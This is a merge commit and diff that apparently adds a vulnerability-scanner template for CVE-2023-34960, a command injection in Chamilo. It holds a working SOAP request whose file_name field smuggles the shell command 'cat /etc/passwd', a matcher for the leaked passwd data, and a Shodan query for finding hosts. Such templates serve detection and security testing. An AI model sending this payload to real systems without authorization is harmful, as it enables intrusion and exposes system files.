Merge pull request #7472 from projectdiscovery/CVE-2023-34960

Create CVE-2023-34960.yaml

http/cves/2023/CVE-2023-34960.yaml

@@ -0,0 +1,40 @@
+id: CVE-2023-34960
+
+info:
+  name: Chamilo Command Injection
+  author: DhiyaneshDK
+  severity: high
+  reference:
+    - https://sploitus.com/exploit?id=FD666992-20E1-5D83-BA13-67ED38E1B83D
+    - https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py
+  metadata:
+    max-request: 1
+    verified: "true"
+    shodan-query: http.component:"Chamilo"
+  tags: cve,cve2023,chamilo
+
+http:
+  - raw:
+      - |
+        POST /main/webservices/additional_webservices.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml; charset=utf-8
+
+        <?xml version="1.0" encoding="UTF-8"?>
+        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{RootURL}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0:"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/xml
+
+      - type: status
+        status:
+          - 200